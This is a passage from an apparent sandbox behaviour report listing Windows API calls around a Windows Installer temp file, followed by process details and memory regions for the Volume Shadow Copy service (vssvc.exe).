ftCreationTime.dwLowDateTime=0x91e65bb0, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x91e65bb0, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x91e8bd10, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x34000)) returned 1 [0204.702] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0204.702] GetFileType (hFile=0x3ac) returned 0x1 [0204.702] CreateFileMappingW (hFile=0x3ac, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x34c [0204.702] GetCurrentProcess () returned 0xffffffffffffffff [0204.702] NtMapViewOfSection (in: SectionHandle=0x34c, ProcessHandle=0xffffffffffffffff, BaseAddress=0x169fba8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x169fb50*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x169fba8*=0xcb0000, SectionOffset=0x0, ViewSize=0x169fb50*=0x34000) returned 0x0 [0204.705] RtlImageNtHeaderEx (Flags=0x0, BaseAddress=0xcb0000, Size=0x34000, NtHeader=0x169fb58) returned 0x0 [0204.705] GetCurrentProcess () returned 0xffffffffffffffff [0204.705] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0xcb0000) returned 0x0 [0204.706] CloseHandle (hObject=0x34c) returned 1 [0204.706] CloseHandle (hObject=0x3ac) returned 1 [0204.706] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0204.706] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x0 [0204.706] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xc07) [0204.707] StdGlobalInterfaceTable:IUnknown:Release (This=0x3c5fe8) [0204.707] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x0 [0204.707] CloseHandle (hObject=0x3b4) returned 1 [0204.707] SetEvent (hEvent=0x364) returned 1 [0204.727] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x169fa30*=0x268, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0204.889] CoUninitialize () [0204.890] lstrlenW (lpString="CustomAction [1] returned actual error code [2] (note this may not be 100% accurate if translation happened inside sandbox)") returned 123 [0204.890] SetLastError (dwErrCode=0xd) [0204.890] memcpy (in: _Dst=0x29f80b0, _Src=0x21295a0, _Size=0x1a | out: _Dst=0x29f80b0) returned 0x29f80b0 [0204.890] memcpy (in: _Dst=0x29f80ca, _Src=0x21295bc, _Size=0x2 | out: _Dst=0x29f80ca) returned 0x29f80ca [0204.890] memcpy (in: _Dst=0x169f4c8, _Src=0x29f80ca, _Size=0x2 | out: _Dst=0x169f4c8) returned 0x169f4c8 [0204.890] SetLastError (dwErrCode=0x0) [0204.890] memcpy (in: _Dst=0x169f672, _Src=0x169f4c8, _Size=0x2 | out: _Dst=0x169f672) returned 0x169f672 [0204.890] memcpy (in: _Dst=0x29f80ca, _Src=0x169f670, _Size=0x6 | out: _Dst=0x29f80ca) returned 0x29f80ca [0204.890] memcpy (in: _Dst=0x29f80d0, _Src=0x21295c0, _Size=0x38 | out: _Dst=0x29f80d0) returned 0x29f80d0 [0204.890] memcpy (in: _Dst=0x29f8108, _Src=0x21295fa, _Size=0x2 | out: _Dst=0x29f8108) returned 0x29f8108 [0204.890] memcpy (in: _Dst=0x169f4c8, _Src=0x29f8108, _Size=0x2 | out: _Dst=0x169f4c8) returned 0x169f4c8 [0204.890] SetLastError (dwErrCode=0x0) [0204.890] memcpy (in: _Dst=0x169f672, _Src=0x169f4c8, _Size=0x2 | out: _Dst=0x169f672) returned 0x169f672 [0204.890] memcpy (in: _Dst=0x29f8108, _Src=0x169f670, _Size=0x6 | out: _Dst=0x29f8108) returned 0x29f8108 [0204.890] memcpy (in: _Dst=0x29f810e, _Src=0x21295fe, _Size=0x98 | out: _Dst=0x29f810e) returned 0x29f810e [0204.890] memcpy (in: _Dst=0x2129480, _Src=0x29f80b0, _Size=0xf6 | out: _Dst=0x2129480) returned 0x2129480 [0204.890] GetCurrentThreadId () returned 0x68c [0204.891] GetCurrentThreadId () returned 0x68c [0204.891] SetEvent (hEvent=0x170) returned 1 [0204.891] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0204.894] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.894] DeleteFileW (lpFileName="C:\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp")) returned 1 [0204.897] RtlExitUserThread (Status=0x641) Process: id = "3" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x44cfd000" os_pid = "0xf58" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006d60f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 481 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 482 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 483 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 484 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 485 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 486 start_va = 0xc0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 487 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 488 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 489 start_va = 0x100000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 490 start_va = 0x1c0000 end_va = 0x1ccfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 491 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 492 start_va = 0x1e0000 end_va = 0x1e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 493 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 494 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 495 start_va = 0x370000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 496 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 497 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 498 start_va = 0x530000 end_va = 0x6b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 499 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 500 start_va = 0x860000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 501 start_va = 0x9e0000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 502 start_va = 0xad0000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 503 start_va = 0xb50000 end_va = 0xe1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 504 start_va = 0xf10000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 505 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 506 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 507 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 508 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 509 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 510 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 511 start_va = 0xffea0000 end_va = 0x10002afff monitored = 0 entry_point = 0xfffd0804 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 512 start_va = 0x7fef3f70000 end_va = 0x7fef3ff4fff monitored = 0 entry_point = 0x7fef3f72600 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 513 start_va = 0x7fef4fa0000 end_va = 0x7fef4fb3fff monitored = 0 entry_point = 0x7fef4fac210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 514 start_va = 0x7fef6340000 end_va = 0x7fef6353fff monitored = 0 entry_point = 0x7fef6341324 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 515 start_va = 0x7fef6450000 end_va = 0x7fef6458fff monitored = 0 entry_point = 0x7fef645325c region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 516 start_va = 0x7fef69b0000 end_va = 0x7fef69b9fff monitored = 0 entry_point = 0x7fef69b42bc region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 517 start_va = 0x7fef8e00000 end_va = 0x7fef8e18fff monitored = 0 entry_point = 0x7fef8e01104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 518 start_va = 0x7fef8e20000 end_va = 0x7fef8e6ffff monitored = 0 entry_point = 0x7fef8e21190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 519 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 520 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 521 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 522 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 523 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 524 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 525 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 526 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 527 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 528 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 529 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 530 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 531 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 532 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 533 start_va = 0x7fefc800000 end_va = 0x7fefc813fff monitored = 0 entry_point = 0x7fefc804160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 534 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 535 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 536 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 537 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 538 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 539 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 540 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 541 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 542 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 543 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 544 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 545 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 546 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 547 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 548 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 549 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 550 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 551 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 552 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 553 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 554 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 555 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 556 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 557 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 558 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 559 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 560 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 561 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 562 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 563 start_va = 0x7fef5e60000 end_va = 0x7fef5e6bfff monitored = 1 entry_point = 0x7fef5e61070 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 564 start_va = 0xfc0000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 565 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 776 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 777 start_va = 0x400000 end_va = 0x403fff monitored = 0 entry_point = 0x402100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 778 start_va = 0x410000 end_va = 0x413fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 779 start_va = 0x400000 end_va = 0x403fff monitored = 0 entry_point = 0x402100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 780 start_va = 0x960000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 781 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 782 start_va = 0x1040000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 783 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 784 start_va = 0x400000 end_va = 0x403fff monitored = 0 entry_point = 0x402100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 785 start_va = 0x7fef30f0000 end_va = 0x7fef32c3fff monitored = 0 entry_point = 0x7fef3126b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 786 start_va = 0x10c0000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 787 start_va = 0x10c0000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 788 start_va = 0x1260000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 789 start_va = 0x12e0000 end_va = 0x14cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 790 start_va = 0xe20000 end_va = 0xedffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 791 start_va = 0x14d0000 end_va = 0x18cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 792 start_va = 0x400000 end_va = 0x400fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 793 start_va = 0x410000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 794 start_va = 0x18e0000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 795 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 796 start_va = 0x850000 end_va = 0x853fff monitored = 0 entry_point = 0x852100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 815 start_va = 0x850000 end_va = 0x851fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 816 start_va = 0x8e0000 end_va = 0x8e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 817 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 821 start_va = 0x8e0000 end_va = 0x8e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 822 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 823 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 824 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 825 start_va = 0x7fefcd10000 end_va 